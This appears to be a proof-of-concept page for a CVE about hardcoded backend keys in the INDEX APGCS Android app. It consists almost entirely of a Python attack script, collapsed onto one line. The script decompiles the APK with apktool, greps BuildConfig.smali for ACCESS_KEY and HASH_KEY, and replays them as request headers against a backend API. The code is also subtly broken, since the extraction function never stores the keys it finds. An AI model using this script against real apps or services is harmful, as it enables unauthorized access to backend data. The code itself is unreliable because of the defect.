CVE-2026-4219: INDEX APGCS App Android硬编码凭证漏洞导致后端密钥泄露

import requests import subprocess import zipfile import os # CVE-2026-4219 PoC: Extract hardcoded credentials from INDEX APGCS App def extract_apk_info(apk_path): """Extract hardcoded credentials from APK using apktool""" output_dir = apk_path.replace('.apk', '_decoded') # Decompile APK subprocess.run(['apktool', 'd', apk_path, '-o', output_dir, '-f'], capture_output=True) # Search for hardcoded credentials build_config_path = os.path.join(output_dir, 'smali', 'com', 'index', 'event', 'BuildConfig.smali') credentials = {'ACCESS_KEY': None, 'HASH_KEY': None} if os.path.exists(build_config_path): with open(build_config_path, 'r', encoding='utf-8') as f: content = f.read() # Extract hardcoded strings for line in content.split('\n'): if 'ACCESS_KEY' in line or 'HASH_KEY' in line: print(f'[+] Found: {line.strip()}') return credentials def test_exposed_backend(access_key, hash_key, target_url): """Test if extracted credentials can access backend APIs""" headers = { 'X-ACCESS-KEY': access_key, 'X-HASH-KEY': hash_key } response = requests.get(target_url, headers=headers, timeout=10) print(f'[+] Status: {response.status_code}') print(f'[+] Response: {response.text[:500]}') return response if __name__ == '__main__': # Usage example # apk_path = 'ae.index.apgcs.apk' # creds = extract_apk_info(apk_path) # if creds['ACCESS_KEY'] and creds['HASH_KEY']: # test_exposed_backend(creds['ACCESS_KEY'], creds['HASH_KEY'], 'https://api.target.com/v1/sensitive-endpoint')